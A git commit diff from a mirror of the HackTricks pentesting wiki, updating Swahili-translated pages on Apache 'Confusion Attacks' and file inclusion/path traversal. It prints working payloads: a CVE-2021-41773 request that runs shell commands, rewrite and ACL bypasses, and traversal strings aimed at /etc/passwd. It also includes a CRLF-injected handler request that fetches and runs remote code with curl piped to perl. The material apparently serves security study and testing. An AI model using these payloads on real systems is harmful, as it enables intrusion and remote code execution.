mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['network-services-pentesting/pentesting-web/apache.md', 'pen
This commit is contained in:
parent
273073eba4
commit
fc1b54408e
2 changed files with 355 additions and 109 deletions
|
@ -1,41 +1,8 @@
|
|||
# Apache
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Upanuzi wa PHP unaoweza kutekelezwa
|
||||
|
||||
Angalia ni upanuzi gani unaotekelezwa na seva ya Apache. Ili kuwapata unaweza kutekeleza:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
Pia, baadhi ya maeneo ambapo unaweza kupata usanidi huu ni:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
/etc/apache2/mods-available/php7.3.conf
|
||||
/etc/apache2/mods-enabled/php7.3.conf
|
||||
```
|
||||
# CVE-2021-41773
|
||||
```bash
|
||||
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -47,3 +14,263 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Extensions za PHP zinazoweza kutekelezwa
|
||||
|
||||
Angalia ni extensions gani zinazoendesha seva ya Apache. Ili kuzitafuta unaweza kutekeleza:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
Pia, baadhi ya maeneo ambapo unaweza kupata usanidi huu ni:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
/etc/apache2/mods-available/php7.3.conf
|
||||
/etc/apache2/mods-enabled/php7.3.conf
|
||||
```
|
||||
## CVE-2021-41773
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
Aina hizi za mashambulizi zimeanzishwa na kuandikwa [**na Orange katika chapisho hili la blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) na yafuatayo ni muhtasari. Shambulio la "confusion" kimsingi linatumia jinsi moduli kumi za kufanya kazi pamoja kuunda Apache hazifanyi kazi kwa usahihi na kufanya baadhi yao kubadilisha data zisizotarajiwa kunaweza kusababisha udhaifu katika moduli inayofuata.
|
||||
|
||||
### Filename Confusion
|
||||
|
||||
#### Truncation
|
||||
|
||||
**`mod_rewrite`** itakata maudhui ya `r->filename` baada ya herufi `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). Hii si sahihi kabisa kwani moduli nyingi zitachukulia `r->filename` kama URL. Lakini katika matukio mengine hii itachukuliwa kama njia ya faili, ambayo itasababisha tatizo.
|
||||
|
||||
* **Path Truncation**
|
||||
|
||||
Inawezekana kutumia vibaya `mod_rewrite` kama katika mfano wa sheria ifuatayo ili kufikia faili nyingine ndani ya mfumo wa faili, kuondoa sehemu ya mwisho ya njia inayotarajiwa kwa kuongeza tu `?`:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
|
||||
# Expected
|
||||
curl http://server/user/orange
|
||||
# the output of file `/var/user/orange/profile.yml`
|
||||
|
||||
# Attack
|
||||
curl http://server/user/orange%2Fsecret.yml%3F
|
||||
# the output of file `/var/user/orange/secret.yml`
|
||||
```
|
||||
* **Kukanganya Mipangilio ya RewriteFlag**
|
||||
|
||||
Katika sheria ifuatayo ya rewrite, mradi tu URL inamalizika na .php itachukuliwa na kutekelezwa kama php. Hivyo, inawezekana kutuma URL inayomalizika na .php baada ya herufi `?` wakati wa kupakia katika njia aina tofauti ya faili (kama picha) yenye msimbo mbaya wa php ndani yake:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
|
||||
# Attacker uploads a gif file with some php code
|
||||
curl http://server/upload/1.gif
|
||||
# GIF89a <?=`id`;>
|
||||
|
||||
# Make the server execute the php code
|
||||
curl http://server/upload/1.gif%3fooo.php
|
||||
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
Inawezekana kufikia faili ambazo mtumiaji hapaswi kuwa na uwezo wa kufikia hata kama ufikiaji unapaswa kukataliwa na mipangilio kama:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
AuthName "Admin Panel"
|
||||
AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Hii ni kwa sababu kwa kawaida PHP-FPM itapokea URLs zinazomalizika kwa `.php`, kama `http://server/admin.php%3Fooo.php` na kwa sababu PHP-FPM itafuta chochote baada ya herufi `?`, URL ya awali itaruhusu kupakia `/admin.php` hata kama sheria ya awali ilikataza.
|
||||
|
||||
### DocumentRoot Confusion
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
|
||||
|
||||
#### **Server-Side Source Code Disclosure**
|
||||
|
||||
* **Disclose CGI Source Code**
|
||||
|
||||
Just adding a %3F at the end is enough to kufichua the source code of a cgi module:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
# #!/usr/bin/perl
|
||||
# use CGI;
|
||||
# ...
|
||||
# # the source code of download.cgi
|
||||
```
|
||||
* **Fichua Msimbo wa PHP**
|
||||
|
||||
Ikiwa seva ina maeneo tofauti na moja yao ikiwa ni eneo la kudumu, hii inaweza kutumika vibaya kuvuka mfumo wa faili na kufichua msimbo wa php:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
# the source code of config.php
|
||||
```
|
||||
#### **Local Gadgets Manipulation**
|
||||
|
||||
Shida kuu na shambulio la awali ni kwamba kwa kawaida, ufikiaji mwingi juu ya mfumo wa faili utawekewa vizuizi kama ilivyo katika [kigezo cha usanidi](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) cha Apache HTTP Server:
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
Hata hivyo, mifumo ya uendeshaji ya [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) kwa default inaruhusu `/usr/share`:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Therefore, it would be possible to **kutilia faili zilizo ndani ya `/usr/share` katika usambazaji hizi.**
|
||||
|
||||
**Gadget ya Mitaa kwa Ufunuo wa Taarifa**
|
||||
|
||||
* **Apache HTTP Server** na **websocketd** inaweza kufichua **dump-env.php** script kwenye **/usr/share/doc/websocketd/examples/php/**, ambayo inaweza kuvuja mabadiliko ya mazingira ya nyeti.
|
||||
* Seva zenye **Nginx** au **Jetty** zinaweza kufichua taarifa nyeti za programu za wavuti (mfano, **web.xml**) kupitia mizizi yao ya wavuti ya kawaida iliyo chini ya **/usr/share**:
|
||||
* **/usr/share/nginx/html/**
|
||||
* **/usr/share/jetty9/etc/**
|
||||
* **/usr/share/jetty9/webapps/**
|
||||
|
||||
**Gadget ya Mitaa kwa XSS**
|
||||
|
||||
* Kwenye Ubuntu Desktop yenye **LibreOffice imewekwa**, kutumia kipengele cha kubadilisha lugha za faili za msaada kunaweza kusababisha **Cross-Site Scripting (XSS)**. Kubadilisha URL kwenye **/usr/share/libreoffice/help/help.html** kunaweza kuelekeza kwenye kurasa za uhalifu au toleo la zamani kupitia **RewriteRule isiyo salama**.
|
||||
|
||||
**Gadget ya Mitaa kwa LFI**
|
||||
|
||||
* Ikiwa PHP au pakiti fulani za mbele kama **JpGraph** au **jQuery-jFeed** zimewekwa, faili zao zinaweza kutumika kusoma faili nyeti kama **/etc/passwd**:
|
||||
* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
* **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Gadget ya Mitaa kwa SSRF**
|
||||
|
||||
* Kutumia **MagpieRSS's magpie\_debug.php** kwenye **/usr/share/php/magpierss/scripts/magpie\_debug.php**, udhaifu wa SSRF unaweza kuundwa kwa urahisi, ukitoa lango kwa mashambulizi zaidi.
|
||||
|
||||
**Gadget ya Mitaa kwa RCE**
|
||||
|
||||
* Fursa za **Remote Code Execution (RCE)** ni nyingi, na usakinishaji dhaifu kama **PHPUnit** ya zamani au **phpLiteAdmin**. Hizi zinaweza kutumika kutekeleza msimbo wa kiholela, ikionyesha uwezo mkubwa wa udanganyifu wa gadget za ndani.
|
||||
|
||||
#### **Jailbreak kutoka kwa Gadget za Mitaa**
|
||||
|
||||
Pia inawezekana kufanya jailbreak kutoka kwa folda zilizo ruhusiwa kwa kufuata symlinks zinazozalishwa na programu zilizowekwa katika folda hizo, kama:
|
||||
|
||||
* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
|
||||
* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
Zaidi ya hayo, kutumia symlinks ilikuwa inawezekana kupata **RCE katika Redmine.**
|
||||
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
Shambulio hili linatumia mchanganyiko wa kazi kati ya maagizo ya `AddHandler` na `AddType`, ambayo yote yanaweza kutumika **kuwezesha usindikaji wa PHP**. Awali, maagizo haya yalihusisha maeneo tofauti (`r->handler` na `r->content_type` mtawalia) katika muundo wa ndani wa seva. Hata hivyo, kutokana na msimbo wa urithi, Apache inashughulikia maagizo haya kwa kubadilishana chini ya hali fulani, ikigeuza `r->content_type` kuwa `r->handler` ikiwa ya kwanza imewekwa na ya pili haijawa.
|
||||
|
||||
Zaidi ya hayo, katika Apache HTTP Server (`server/config.c#L420`), ikiwa `r->handler` iko tupu kabla ya kutekeleza `ap_run_handler()`, seva **inatumia `r->content_type` kama handler**, kwa ufanisi ikifanya `AddType` na `AddHandler` kuwa sawa katika athari.
|
||||
|
||||
#### **Overwrite Handler ili Kufichua Msimbo wa Chanzo wa PHP**
|
||||
|
||||
Katika [**hii hotuba**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), ilionyeshwa udhaifu ambapo `Content-Length` isiyo sahihi iliyotumwa na mteja inaweza kusababisha Apache kurudisha **msimbo wa chanzo wa PHP** kwa makosa. Hii ilikuwa kwa sababu ya tatizo la kushughulikia makosa na ModSecurity na Apache Portable Runtime (APR), ambapo jibu mara mbili linaweza kusababisha kuandika upya `r->content_type` kuwa `text/html`.\
|
||||
Kwa sababu ModSecurity haiwezi kushughulikia vizuri thamani za kurudi, itarudisha msimbo wa PHP na haitautafsiri.
|
||||
|
||||
#### **Overwrite Handler ili XXXX**
|
||||
|
||||
TODO: Orange haijafichua udhaifu huu bado
|
||||
|
||||
### **Kuitisha Handlers za Kiholela**
|
||||
|
||||
Ikiwa mshambuliaji anaweza kudhibiti kichwa cha **`Content-Type`** katika jibu la seva atakuwa na uwezo wa **kuitisha handlers za moduli za kiholela**. Hata hivyo, kwa hatua ambayo mshambuliaji anadhibiti hii, mchakato mwingi wa ombi utakuwa umekamilika. Hata hivyo, inawezekana **kuanzisha upya mchakato wa ombi kwa kutumia kichwa cha `Location`** kwa sababu ikiwa `Status` iliyorejeshwa ni 200 na kichwa cha `Location` kinaanza na `/`, jibu linachukuliwa kama Uelekeo wa Seva na linapaswa kushughulikiwa.
|
||||
|
||||
Kulingana na [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (maelezo kuhusu CGI) katika [Sehemu ya 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) inafafanua tabia ya Jibu la Uelekeo wa Mitaa:
|
||||
|
||||
> Skripti ya CGI inaweza kurudisha njia ya URI na mfuatano wa swali (‘local-pathquery’) kwa rasilimali ya ndani katika uwanja wa kichwa cha Location. Hii inaashiria kwa seva kwamba inapaswa kuendelea kushughulikia ombi kwa kutumia njia iliyotajwa.
|
||||
|
||||
Kwa hivyo, ili kutekeleza shambulio hili inahitajika moja ya udhaifu ufuatao:
|
||||
|
||||
* CRLF Injection katika vichwa vya majibu ya CGI
|
||||
* SSRF kwa udhibiti kamili wa vichwa vya majibu
|
||||
|
||||
#### **Handler ya Kiholela kwa Ufunuo wa Taarifa**
|
||||
|
||||
Kwa mfano `/server-status` inapaswa kuwa inapatikana tu kwa ndani:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
Ni inawezekana kuipata kwa kuweka `Content-Type` kuwa `server-status` na kichwa cha Location kinachoanza na `/`
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Mshughulikiaji wa Kijichoro kwa SSRF Kamili**
|
||||
|
||||
Kuelekeza kwa `mod_proxy` ili kufikia protokali yoyote kwenye URL yoyote:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:
|
||||
http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Hata hivyo, kichwa cha `X-Forwarded-For` kinaongezwa kuzuia ufikiaji wa mwisho wa metadata ya wingu.
|
||||
|
||||
#### **Mshughulikiaji wa Huru ili Kufikia Soketi ya Kihandisi ya Unix ya Mitaa**
|
||||
|
||||
Fikia Soketi ya Kihandisi ya Unix ya PHP-FPM ili kutekeleza backdoor ya PHP iliyoko katika `/tmp/`:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Mshughulikiaji wa Kawaida kwa RCE**
|
||||
|
||||
Picha rasmi ya [PHP Docker](https://hub.docker.com/\_/php) inajumuisha PEAR (`Pearcmd.php`), chombo cha usimamizi wa pakiti za PHP cha mstari wa amri, ambacho kinaweza kutumika vibaya kupata RCE:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
orange.tw/x|perl
|
||||
) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Angalia [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), iliyoandikwa na [Phith0n](https://x.com/phithon\_xg) kwa maelezo ya mbinu hii.
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# File Inclusion/Path traversal
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
|
||||
|
||||
**Hacking Insights**\
|
||||
Shiriki na maudhui yanayoangazia msisimko na changamoto za hacking
|
||||
|
@ -28,7 +28,7 @@ Baki na habari za hivi punde katika ulimwengu wa hacking kupitia habari na maari
|
|||
**Latest Announcements**\
|
||||
Baki na taarifa kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na hackers bora leo!
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na uanze kushirikiana na hackers bora leo!
|
||||
|
||||
## File Inclusion
|
||||
|
||||
|
@ -58,7 +58,7 @@ Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaif
|
|||
|
||||
### **Windows**
|
||||
|
||||
Mchanganyiko wa orodha tofauti za maneno:
|
||||
Mchanganyiko wa orodha tofauti:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
|
@ -91,9 +91,9 @@ http://example.com/index.php?page=../../../etc/passwd%00
|
|||
```
|
||||
Hii ni **imefanywa kuwa na ufumbuzi tangu PHP 5.4**
|
||||
|
||||
### **Uandishi**
|
||||
### **Encoding**
|
||||
|
||||
Unaweza kutumia uandishi usio wa kawaida kama vile kuandika URL mara mbili (na mengineyo):
|
||||
Unaweza kutumia uandishi usio wa kawaida kama vile double URL encode (na wengine):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
|
@ -102,13 +102,13 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|||
```
|
||||
### Kutoka kwenye folda iliyopo
|
||||
|
||||
Pengine back-end inakagua njia ya folda:
|
||||
Pengine upande wa nyuma unakagua njia ya folda:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva
|
||||
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si faili tu, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili:
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili:
|
||||
|
||||
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuundwa kama ifuatavyo, ikionyesha kina cha tatu:
|
||||
```bash
|
||||
|
@ -118,18 +118,18 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpret the Outcomes:** Jibu la seva linaonyesha kama folda ipo:
|
||||
* **Error / No Output:** Folda `private` huenda haipo katika eneo lililotajwa.
|
||||
* **Contents of `/etc/passwd`:** Uwepo wa folda `private` umethibitishwa.
|
||||
4. **Recursive Exploration:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa ajili ya subdirectories au faili kwa kutumia mbinu ile ile au mbinu za jadi za Local File Inclusion (LFI).
|
||||
3. **Tafsiri Matokeo:** Jibu la seva linaonyesha kama folda ipo:
|
||||
* **Kosa / Hakuna Matokeo:** Folda `private` huenda haipo katika eneo lililotajwa.
|
||||
* **Maudhui ya `/etc/passwd`:** Uwepo wa folda `private` umethibitishwa.
|
||||
4. **Uchunguzi wa Kurudi:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa ajili ya subdirectories au faili kwa kutumia mbinu ile ile au mbinu za jadi za Local File Inclusion (LFI).
|
||||
|
||||
Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (ikiwa folda ya sasa iko kwenye kina cha 3), tumia:
|
||||
Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (ikiwa tunaweza kusema folda ya sasa iko kwenye kina cha 3), tumia:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Tekniki ya Kukata Njia**
|
||||
|
||||
Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
|
||||
Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi inatumika kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
|
||||
|
||||
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
|
||||
|
||||
|
@ -151,13 +151,13 @@ Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, la
|
|||
|
||||
* **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuzunguka mfumo wa faili, kwa ufanisi ukipuuza nyongeza za mfuatano kutoka kwa seva.
|
||||
* **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuzunguka hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki kama ilivyo.
|
||||
* **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
|
